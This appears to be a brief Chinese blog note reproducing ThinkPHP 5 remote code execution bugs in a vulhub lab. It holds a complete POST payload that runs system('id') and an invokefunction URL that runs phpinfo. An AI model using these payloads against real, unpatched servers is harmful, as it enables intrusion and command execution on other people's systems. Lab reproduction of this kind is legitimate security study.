漏洞背景

前臺有回顯RCE

• 框架介紹：ThinkPHP是一款運用極廣的PHP開發(fā)框架。
• 漏洞引入：
  1.其版本5中，由于沒有正確處理控制器名，導(dǎo)致在網(wǎng)站沒有開啟強制路由的情況下（即默認情況下）可以執(zhí)行任意方法，從而導(dǎo)致遠程命令執(zhí)行漏洞。
  2.其5.0.23以前的版本中，獲取method的方法中沒有正確處理方法名，導(dǎo)致攻擊者可以調(diào)用Request類任意方法并構(gòu)造利用鏈，從而導(dǎo)致遠程代碼執(zhí)行漏洞。

漏洞特征

網(wǎng)站指紋

本地復(fù)現(xiàn)

thinkphp/5.0.23-rce
直接post就可以執(zhí)行命令。。。。好無聊啊。。。

POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

thinkphp/5-rce

直接訪問http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1，即可執(zhí)行phpinfo

總結(jié)

1. 無聊的一天。。。

參考

• vulhub:
  https://github.com/vulhub/vulhub/blob/master/thinkphp/5.0.23-rce/README.zh-cn.md,
  https://github.com/vulhub/vulhub/blob/master/thinkphp/5-rce/README.zh-cn.md